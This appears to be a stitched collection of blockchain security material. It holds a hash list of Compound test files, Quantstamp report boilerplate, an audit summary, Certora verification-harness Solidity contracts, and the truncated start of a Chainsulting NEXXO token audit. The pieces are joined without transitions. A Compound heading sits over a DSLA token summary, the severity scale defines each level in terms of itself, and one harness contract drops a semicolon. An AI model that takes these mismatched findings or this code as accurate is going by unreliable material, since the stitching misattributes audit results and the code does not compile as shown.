76bdb38fdec13324d65e2e22d5a51cc11971e92d29f26f3671143151e6788955 ./tests/Scenarios/TetherScenTest.js c7889c9279fe003850a17fcb8a14f16357af221b522d8163decd38908e70ef68 ./tests/Scenarios/MintScenTest.js 13f66b96a6e1ef1f0150a609c9a841fd01ce62493f6dfda92a6af821a218b6d8 ./tests/Scenarios/MCDaiScenTest.js 4bab260de71fdf7f22d7419ee041e68ecfe68c245e0bfe17af9b5df9394f8dbc ./tests/Scenarios/UnitrollerScenTest.js 5e1c8ebd93d8065bd53b7ff1867dcb2a8dc430b6faa9d5dad949a0b7d7831aad ./tests/Scenarios/InKindLiquidationScenTest.js 93a699f3cb8cf2978e5ad148d25443f355a3f119bdf84d4f7a4fcbefa0629c4a ./tests/Scenarios/ReduceReservesScenTest.js b27517399783a102932891ffd3e632421e809cac2245bbcc2b4f7b2c23cfbf89 ./tests/Scenarios/ChangeDelegateScenTest.js 2f903f59c90057cfe955b933ae3fb7b17f097e8ca28d2efb3e8e7cc56e1403eb ./tests/Scenarios/RedeemWBTCScenTest.js 01ca493f015cc003b578b60a7df83a8c7c576dbff3b0efbb91bf1ea67ad153ec ./tests/Scenarios/TimelockScenTest.js c3261939c88aa2a210d91c18118f6f06d38212ca3e8cb0125c79538bc601989d ./tests/Scenarios/BorrowWBTCScenTest.js 18bd40435c9385aae3b5018bdb65da6265eff8b26d16d8e9a03ffa26049efff9 ./tests/Scenarios/ReEntryScenTest.js d505cbc2d5d96010232526ce9f8c44f32e8c0f8cd732ef8a8da11b4c1c5a676e ./tests/Scenarios/MintWBTCScenTest.js c294549c150c8f3fe0ce7f9708d4e12860c5725fe20948e712d8e8651f540e6b ./tests/Scenarios/RedeemEthScenTest.js 4a3529fcea2305838a08275b4ceeb4861fea396e9a5cb4acb651d96c0c3de729 ./tests/Scenarios/TokenTransferScenTest.js 2eb4bcabc0cbd1af93d91ff1157b2183cfb9bd881e8e977bccf1575b5443e799 ./tests/Scenarios/SeizeScenTest.js cfce4030a370f632f1d9df7d2d44e4dc0af05ec641bd223ec906b24b0c09bb07 ./tests/Scenarios/PriceOracleProxyScenTest.js ad7f7b28e17a9d715b0ef8d811c7bc7fca4aa9e23aa0d2f706abc1cbab70f8f4 ./tests/Scenarios/BorrowCapScenTest.js a8d77f870a989264aaa2c6361d0cd46ea93497dc886d851d7c068a087674aee2 ./tests/Scenarios/Governor/VoteScenTest.js dcff6540ca7ad2d404d6f0820f1f699c5e2a721883a2115a094067768d327068 ./tests/Scenarios/Governor/QueueScenTest.js 3ed48d345ed89b6f02c81990f3ba912ea71500d177d7920ef95d11363e868869 ./tests/Scenarios/Governor/DefeatScenTest.js 00b7d5ad7266361d1de01459f809b178c1f683a2714fed986fdbbdda9675d185 ./tests/Scenarios/Governor/CancelScenTest.js aa4f9419cfa64c2781b88e3a8a86f15243e7d1ffd3d10ceba24f09a158856ffa ./tests/Scenarios/Governor/ProposeScenTest.js d258fb116bb44586f517e6703f1be7e244d5f566eb76882c2cebdecfc9608b7c ./tests/Scenarios/Governor/ExecuteScenTest.js 98e20441a2e53f58fdcdf95d3bd60f708ad96597dec7e140d0fbceebd0d3e03c ./tests/Scenarios/Governor/GuardianScenTest.js 4eeafe9f7d5b95fe0737438464ec96a1ee1337408e44457f57307ea973f64a77 ./tests/Scenarios/Governor/UpgradeScenTest.js 05e757f24b262122dea8145a7eb786f100af9f423817a1b5c15992d6cc9f8a78 ./tests/Scenarios/Flywheel/VestingScenTest.js 0dd36bafff7cf8d9400c7917bb87dcc2839c172bf49faad41a1746ca6286bbf0 ./tests/Scenarios/Flywheel/FlywheelScenTest.js 734e67402eafdb096dc1a32e670a2e9306fc22a47ccea4d1cbd7669f5d7b28ca ./tests/Scenarios/Flywheel/ReservoirScenTest.js dff0484a99ddab064e86b685919f8a182edcf622dd8c3aae6d125ae11c31f312 ./tests/Scenarios/Comp/CompScenTest.js d4e78130d226d6c287a41336b360e33d1acfbe42c7778d0acd54699105b2ded1 ./tests/Flywheel/FlywheelTest.js 94e833dfcbf96436966fddd608764060e47db8969edcb4e0baa04f12d13aba9a ./tests/Flywheel/GasTest.js c66cacf00aeacedd7dc44ab7e3487dda54220cf2b013cf9401770e3fcaf24d66 ./tests/Fuzz/CompWheelFuzzTest.js 10a0f7464875a618ef12acde3fdfd23d4dc50f0e719725d11dc0931f80808ae8 ./tests/Tokens/adminTest.js 3de85d96d59ef5cdcae84efc2ff5c78b6e90160ec57615273fcd0e8a852753a1 ./tests/Tokens/mintAndRedeemTest.js 3c6dc5c2e501fa2d89e098e5a895362dfdb2623f338121216cbca8b43ebc9e76 ./tests/Tokens/setInterestRateModelTest.js 8f474b7f960c02a1ecacab961d9a0d505111fd5e429d674644e7ab26dcefe150 ./tests/Tokens/borrowAndRepayTest.js 7064e91c262319d840cd8aa324e72ea2dd5e28848900b1478e34a74d2e81e6e5 ./tests/Tokens/accrueInterestTest.js 5e388ec9c56207f99ac6c87f5eb62a7149626a5226ad1afbca2ecdb56025a17f ./tests/Tokens/mintAndRedeemCEtherTest.js 84a2142d55b673ca0656fa1d6d4ba2dde554e03766c429ac6ebcc050fc6ea7f0 ./tests/Tokens/borrowAndRepayCEtherTest.js eea8a7385a58f55599669f4df859457547ea6aebafeca0bd697cd16c2e77adbb ./tests/Tokens/safeTokenTest.js 2dd78101e9c4bf0e522e8e36ce0bcac9ee80076b97089991fb5c1d370aa2864e ./tests/Tokens/compLikeTest.js 337c0b27103f616b43b9bff42f0f92de07e12124670c664e760fdbdd6f1b1f30 ./tests/Tokens/transferTest.js b402644e5a52e90a057b5525de33427efaf05cf7827d3f03f4b720dbfa23f96d ./tests/Tokens/reservesTest.js a55b5b71cfd631bf1887b90469d4fddc021e378460b9ebf685b70f2b09175797 ./tests/Tokens/cTokenTest.js 6b9058eb944bb10b365da9bbdc4eddba1c2c1bbeacc4cd2673dd73468808bf06./tests/Tokens/liquidateTest.js 41e42b91f2676480badf3bcafdbb0a8ed5f24a7f22c3f30fe0982d0d5f038377 ./tests/Tokens/setComptrollerTest.js 0eaab99a5436654137479e7115d75984bb7a0d1cdeb5c129386808690a0d737b ./tests/Models/InterestRateModelTest.js fb7110f3d39ec431b226cd6e6677796d4f0ee32c2c99a73a178b158182b8d637 ./tests/Models/DAIInterestRateModelTest.js 4dd916fd1ede7837ec238cb592fb4ae905a95c103c39168e7e5bce1ed8eb3923 ./tests/Comptroller/adminTest.js 2242a84ccdec4477aa9e62ba9c65e4761968c0723974f2852889a3647cbc4050 ./tests/Comptroller/accountLiquidityTest.js 2b93650ce41e8dff3214769000ef96cc244d448506effac79eac45cde3ee9648 ./tests/Comptroller/comptrollerTest.js ff2f54a1aced42cee680115711e86a2649af95c7484c4ee38a50298cb827b5c4 ./tests/Comptroller/proxiedComptrollerV1Test.js 4b93e830dee7d9034e6b4e6204081b932a542a06431e4d26abf44f07b8de1e95 ./tests/Comptroller/unitrollerTest.js bfae5171df6c8d9108bd34792649b00aaa3266f62e5327c63590b65393f55f0f ./tests/Comptroller/liquidateCalculateAmountSeizeTest.js 28539878d46c8be3ef13576097eb0d21a8d5bdfa183c05c2b319f1e9835c0096 ./tests/Comptroller/assetsListTest.js e4960aae37d36d52fd26a67f6f553e8f825da3a4e9e29fb7a9ae8429cc463a60 ./tests/Comptroller/pauseGuardianTest.js Changelog 2020-11-18 - Initial report •2020-11-27 - Fixes reaudit •2020-12-03 - Issue 2 description fix. •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Compound Vesting and Grants Audit
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and Crowdsale Contract revealed no critical or major issues. There were two minor issues which were related to unused variables in the contract. These issues were fixed by removing the unused variables. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is present Conclusion: The report shows that the contracts and methods used in the DSLA Token are secure and compliant with the standards.
pragma solidity ^0.5.16; import "../../../contracts/CErc20Delegate.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20DelegateCertora is CErc20Delegate { CTokenCollateral public otherToken; function mintFreshPub(address minter, uint mintAmount) public returns (uint) { (uint error,) = mintFresh(minter, mintAmount); return error; } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { return redeemFresh(redeemer, redeemTokens, redeemUnderlying); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { return borrowFresh(borrower, borrowAmount); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { (uint error,) = repayBorrowFresh(payer, borrower, repayAmount); return error; } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { (uint error,) = liquidateBorrowFresh(liquidator, borrower, repayAmount, otherToken); return error; } } pragma solidity ^0.5.16; import "../../../contracts/CDaiDelegate.sol"; contract CDaiDelegateCertora is CDaiDelegate { function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } } pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; import "../../../contracts/Governance/GovernorAlpha.sol"; contract GovernorAlphaCertora is GovernorAlpha { Proposal proposal; constructor(address timelock_, address comp_, address guardian_) GovernorAlpha(timelock_, comp_, guardian_) public {} // XXX breaks solver /* function certoraPropose() public returns (uint) { */ /* return propose(proposal.targets, proposal.values, proposal.signatures, proposal.calldatas, "Motion to do something"); */ /* } */ /* function certoraProposalLength(uint proposalId) public returns (uint) { */ /* return proposals[proposalId].targets.length; */ /* } */ function certoraProposalStart(uint proposalId) public returns (uint) { return proposals[proposalId].startBlock; } function certoraProposalEnd(uint proposalId) public returns (uint) { return proposals[proposalId].endBlock; } function certoraProposalEta(uint proposalId) public returns (uint) { return proposals[proposalId].eta; } function certoraProposalExecuted(uint proposalId) public returns (bool) { return proposals[proposalId].executed; } function certoraProposalState(uint proposalId) public returns (uint) { return uint(state(proposalId)); } function certoraProposalVotesFor(uint proposalId) public returns (uint) { return proposals[proposalId].forVotes; } function certoraProposalVotesAgainst(uint proposalId) public returns (uint) { return proposals[proposalId].againstVotes; } function certoraVoterVotes(uint proposalId, address voter) public returns (uint) { return proposals[proposalId].receipts[voter].votes; } function certoraTimelockDelay() public returns (uint) { return timelock.delay(); } function certoraTimelockGracePeriod() public returns (uint) { return timelock.GRACE_PERIOD(); } } pragma solidity ^0.5.16; import "../../../contracts/Comptroller.sol"; contract ComptrollerCertora is Comptroller { uint8 switcher; uint liquidityOrShortfall; function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { if (switcher == 0) return (Error.NO_ERROR, liquidityOrShortfall, 0); if (switcher == 1) return (Error.NO_ERROR, 0, liquidityOrShortfall); if (switcher == 2) return (Error.SNAPSHOT_ERROR, 0, 0); if (switcher == 3) return (Error.PRICE_ERROR, 0, 0); return (Error.MATH_ERROR, 0, 0); } } pragma solidity ^0.5.16; import "../../../contracts/CEther.sol"; contract CEtherCertora is CEther { constructor(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CEther(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } } pragma solidity ^0.5.16; import "../../../contracts/Timelock.sol"; contract TimelockCertora is Timelock { constructor(address admin_, uint256 delay_) public Timelock(admin_, delay_) {} function grace() pure public returns(uint256) { return GRACE_PERIOD; } function queueTransactionStatic(address target, uint256 value, uint256 eta) public returns (bytes32) { return queueTransaction(target, value, "setCounter()", "", eta); } function cancelTransactionStatic(address target, uint256 value, uint256 eta) public { return cancelTransaction(target, value, "setCounter()", "", eta); } function executeTransactionStatic(address target, uint256 value, uint256 eta) public { executeTransaction(target, value, "setCounter()", "", eta); // NB: cannot return dynamic types (will hang solver) } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Immutable.sol"; import "../../../contracts/EIP20Interface.sol"; contract CTokenCollateral is CErc20Immutable { constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CErc20Immutable(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Delegator.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20DelegatorCertora is CErc20Delegator { CTokenCollateral public otherToken; constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public CErc20Delegator(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_, implementation_, becomeImplementationData) { comptroller; // touch for Certora slot deduction interestRateModel; // touch for Certora slot deduction } function balanceOfInOther(address account) public view returns (uint) { return otherToken.balanceOf(account); } function borrowBalanceStoredInOther(address account) public view returns (uint) { return otherToken.borrowBalanceStored(account); } function exchangeRateStoredInOther() public view returns (uint) { return otherToken.exchangeRateStored(); } function getCashInOther() public view returns (uint) { return otherToken.getCash(); } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } function getCashOfInOther(address account) public view returns (uint) { return otherToken.getCashOf(account); } function totalSupplyInOther() public view returns (uint) { return otherToken.totalSupply(); } function totalBorrowsInOther() public view returns (uint) { return otherToken.totalBorrows(); } function totalReservesInOther() public view returns (uint) { return otherToken.totalReserves(); } function underlyingInOther() public view returns (address) { return otherToken.underlying(); } function mintFreshPub(address minter, uint mintAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_mintFreshPub(address,uint256)", minter, mintAmount)); return abi.decode(data, (uint)); } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_redeemFreshPub(address,uint256,uint256)", redeemer, redeemTokens, redeemUnderlying)); return abi.decode(data, (uint)); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_borrowFreshPub(address,uint256)", borrower, borrowAmount)); return abi.decode(data, (uint)); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_repayBorrowFreshPub(address,address,uint256)", payer, borrower, repayAmount)); return abi.decode(data, (uint)); } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_liquidateBorrowFreshPub(address,address,uint256)", liquidator, borrower, repayAmount)); return abi.decode(data, (uint)); } } pragma solidity ^0.5.16; import "../../../contracts/Exponential.sol"; import "../../../contracts/InterestRateModel.sol"; contract InterestRateModelModel is InterestRateModel { uint borrowDummy; uint supplyDummy; function isInterestRateModel() external pure returns (bool) { return true; } function getBorrowRate(uint _cash, uint _borrows, uint _reserves) external view returns (uint) { return borrowDummy; } function getSupplyRate(uint _cash, uint _borrows, uint _reserves, uint _reserveFactorMantissa) external view returns (uint) { return supplyDummy; } } pragma solidity ^0.5.16; import "../../../contracts/PriceOracle.sol"; contract PriceOracleModel is PriceOracle { uint dummy; function isPriceOracle() external pure returns (bool) { return true; } function getUnderlyingPrice(CToken cToken) external view returns (uint) { return dummy; } }pragma solidity ^0.5.16; import "../../../contracts/Governance/Comp.sol"; contract CompCertora is Comp { constructor(address grantor) Comp(grantor) public {} function certoraOrdered(address account) external view returns (bool) { uint32 nCheckpoints = numCheckpoints[account]; for (uint32 i = 1; i < nCheckpoints; i++) { if (checkpoints[account][i - 1].fromBlock >= checkpoints[account][i].fromBlock) { return false; } } // make sure the checkpoints are also all before the current block if (nCheckpoints > 0 && checkpoints[account][nCheckpoints - 1].fromBlock > block.number) { return false; } return true; } function certoraScan(address account, uint blockNumber) external view returns (uint) { // find most recent checkpoint from before blockNumber for (uint32 i = numCheckpoints[account]; i != 0; i--) { Checkpoint memory cp = checkpoints[account][i-1]; if (cp.fromBlock <= blockNumber) { return cp.votes; } } // blockNumber is from before first checkpoint (or list is empty) return 0; } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Immutable.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20ImmutableCertora is CErc20Immutable { CTokenCollateral public otherToken; constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CErc20Immutable(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } function balanceOfInOther(address account) public view returns (uint) { return otherToken.balanceOf(account); } function borrowBalanceStoredInOther(address account) public view returns (uint) { return otherToken.borrowBalanceStored(account); } function exchangeRateStoredInOther() public view returns (uint) { return otherToken.exchangeRateStored(); } function getCashInOther() public view returns (uint) { return otherToken.getCash(); } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } function getCashOfInOther(address account) public view returns (uint) { return otherToken.getCashOf(account); } function totalSupplyInOther() public view returns (uint) { return otherToken.totalSupply(); } function totalBorrowsInOther() public view returns (uint) { return otherToken.totalBorrows(); } function totalReservesInOther() public view returns (uint) { return otherToken.totalReserves(); } function underlyingInOther() public view returns (address) { return otherToken.underlying(); } function mintFreshPub(address minter, uint mintAmount) public returns (uint) { (uint error,) = mintFresh(minter, mintAmount); return error; } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { return redeemFresh(redeemer, redeemTokens, redeemUnderlying); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { return borrowFresh(borrower, borrowAmount); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { (uint error,) = repayBorrowFresh(payer, borrower, repayAmount); return error; } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { (uint error,) = liquidateBorrowFresh(liquidator, borrower, repayAmount, otherToken); return error; } } pragma solidity ^0.5.16; import "../../../contracts/EIP20NonStandardInterface.sol"; import "./SimulationInterface.sol"; contract UnderlyingModelWithFee is EIP20NonStandardInterface, SimulationInterface { uint256 _totalSupply; uint256 fee; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address owner) external view returns (uint256 balance) { balance = balances[owner]; } function transfer(address dst, uint256 amount) external { address src = msg.sender; uint256 actualAmount = amount + fee; require(actualAmount >= amount); require(balances[src] >= actualAmount); require(balances[dst] + actualAmount >= balances[dst]); balances[src] -= actualAmount; balances[dst] += actualAmount; } function transferFrom(address src, address dst, uint256 amount) external { uint256 actualAmount = amount + fee; require(actualAmount > fee) require(allowances[src][msg.sender] >= actualAmount); require(balances[src] >= actualAmount); require(balances[dst] + actualAmount >= balances[dst]); allowances[src][msg.sender] -= actualAmount; balances[src] -= actualAmount; balances[dst] += actualAmount; } function approve(address spender, uint256 amount) external returns (bool success) { allowances[msg.sender][spender] = amount; } function allowance(address owner, address spender) external view returns (uint256 remaining) { remaining = allowances[owner][spender]; } function dummy() external { return; } }pragma solidity ^0.5.16; import "../../../contracts/EIP20NonStandardInterface.sol"; import "./SimulationInterface.sol"; contract UnderlyingModelNonStandard is EIP20NonStandardInterface, SimulationInterface { uint256 _totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address owner) external view returns (uint256 balance) { balance = balances[owner]; } function transfer(address dst, uint256 amount) external { address src = msg.sender; require(balances[src] >= amount); require(balances[dst] + amount >= balances[dst]); balances[src] -= amount; balances[dst] += amount; } function transferFrom(address src, address dst, uint256 amount) external { require(allowances[src][msg.sender] >= amount); require(balances[src] >= amount); require(balances[dst] + amount >= balances[dst]); allowances[src][msg.sender] -= amount; balances[src] -= amount; balances[dst] += amount; } function approve(address spender, uint256 amount) external returns (bool success) { allowances[msg.sender][spender] = amount; } function allowance(address owner, address spender) external view returns (uint256 remaining) { remaining = allowances[owner][spender]; } function dummy() external { return; } }pragma solidity ^0.5.16; contract MathCertora { } pragma solidity ^0.5.16; interface SimulationInterface { function dummy() external; } pragma solidity ^0.5.16; import "../../../contracts/Maximillion.sol"; contract MaximillionCertora is Maximillion { constructor(CEther cEther_) public Maximillion(cEther_) {} function borrowBalance(address account) external returns (uint) { return cEther.borrowBalanceCurrent(account); } function etherBalance(address account) external returns (uint) { return account.balance; } function repayBehalf(address borrower) public payable { return super.repayBehalf(borrower); } }
1 / 20 Chainsulting Audit Report © 2020 NEXXO TOKEN SMART CONTRACT AUDIT FOR NEXXO SG PTE. LTD. 07.08.2020 Made in Germany by Chainsulting.de 2 / 20 Chainsulting Audit Report © 2020 Smart Contract Audit - NEXXO Token 1. Disclaimer .................................................................................................................................................................................................................... 3 2. About the Project and Company ............................................................................................................................................................................. 4 2.1 Project Overview: ................................................................................................................................................................................................. 5 3. Vulnerability & Risk Level ......................................................................................................................................................................................... 6 4. Auditing Strategy and Techniques Applied ............................................................................................................................................................ 7 4.1 Methodology ......................................................................................................................................................................................................... 7 4.2 Used Code from other Frameworks/Smart Contracts ................................................................................................................................... 8 4.3 Tested Contract Files .......................................................................................................................................................................................... 9 4.4 Contract Specifications ....................................................................................................................................................................................... 9 4.5 Special Security Note ........................................................................................................................................................................................ 10 5. Test Suite Results .................................................................................................................................................................................................... 11 5.1 Mythril Classic & MYTHX Security Audit ....................................................................................................................................................... 11 5.1.1 A floating pragma is set. ................................................................................................................................................................................ 12 5.1.2 Implicit loop over unbounded data structure. ............................................................................................................................................. 13 6. Specific Attacks (Old Contract) .............................................................................................................................................................................. 14 7. SWC Attacks (New Contract) ................................................................................................................................................................................. 15 7.1 The arithmetic operation can overflow ........................................................................................................................................................... 15 7.2 Loop over unbounded data structure. ............................................................................................................................................................ 16 7.3 Implicit loop over unbounded data structure. ................................................................................................................................................ 17 7.4 Call with hardcoded gas amount. .................................................................................................................................................................... 18 8. Executive Summary ................................................................................................................................................................................................. 19 9. Deployed Smart Contract ....................................................................................................................................................................................... 20 3 / 20 Chainsulting Audit Report © 2020 1. Disclaimer The audit makes no statements or warrantees about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of NEXXO SG PTE. LTD. . If you are not the intended receptor of this document, remember that any disclosure, copying or dissemination of it is forbidden. Previous Audit: https://github.com/chainsulting/Smart-Contract-Security-Audits/tree/master/Nexxo/2019 First Audit: https://github.com/chainsulting/Smart-Contract-Security-Audits/blob/master/Nexxo/2020/First%20Contract/02_Smart%20Contract%20Audit%20Nexxo_18_06_2020.pdf Major Versions / Date Description Author 0.1 (16.06.2020) Layout Y. Heinze 0.5 (18.06.2020) Automated Security Testing Manual Security Testing Y. Heinze 1.0 (19.06.2020) Summary and Recommendation Y. Heinze 1.1 (22.06.2020) Adding of MythX Y. Heinze 1.5 (23.06.2020) First audit review and submit changes Y. Heinze 2.0 (29.07.2020) Second audit review from updated contract Y. Heinze 2.1 (07.08.2020) Final edits and adding of the deployed contract etherscan link Y. Heinze 4 / 20 Chainsulting Audit Report © 2020 2. About the Project and Company Company address: NEXXO SG PTE. LTD. 61 ROBINSON ROAD #19-02 ROBINSON CENTRE SINGAPORE 068893 CERTIFICATION OF INCORPORATION NO: 201832832R LEGAL REPRESENTIVE: NEBIL BEN AISSA 5 / 20 Chainsulting Audit Report © 2020 2.1 Project Overview: The world's first global blockchain-powered small business financial services platform. Nexxo is a multi-national company (currently incorporated in Qatar, UAE, India, Pakistan, Singapore and Cyprus Eurozone); it provides financial services to small businesses in the Middle East and emerging markets. Nexxo financial services are bank accounts with an IBAN (International Bank Account Number), MasterCard powered Salary Cards, electronic commerce, Point of Sale, bill payment, invoicing as well as (in the future) loans and financing facilities. These solutions are offered using blockchain technology which reduces the cost of the service, as well as help small businesses grow their revenues, lower costs and achieve a better life for themselves and their families. A Very unique characteristic of NEXXO is that it partners with locally licensed banks, and operates under approval of local central banks; its blockchain is architected to be in full compliance with local central banks, and its token is designed as a reward and discount token, thus not in conflict with locally regulated national currencies. All localized Nexxo Blockchains are Powered by IBM Hyperledger, and connected onto a multi-country international blockchain called NEXXONET. NEXXO operates in multiple countries, it generates profits of Approximately $4.0 Mil USD (audited by Deloitte) and is managed by a highly skilled and experienced team. Security Notice: Re-deploy of the Smart Contract due to a security breach on Digifinex platform. 6 / 20 Chainsulting Audit Report © 2020 3. Vulnerability & Risk Level Risk represents the probability that a certain source-threat will exploit vulnerability, and the impact of that event on the organization or system. Risk Level is computed based on CVSS version 3.0. Level Value Vulnerability Risk (Required Action) Critical 9 – 10 A vulnerability that can disrupt the contract functioning in a number of scenarios, or creates a risk that the contract may be broken. Immediate action to reduce risk level. High 7 – 8.9 A vulnerability that affects the desired outcome when using a contract, or provides the opportunity to use a contract in an unintended way. Implementation of corrective actions as soon as possible. Medium 4 – 6.9 A vulnerability that could affect the desired outcome of executing the contract in a specific scenario. Implementation of corrective actions in a certain period. Low 2 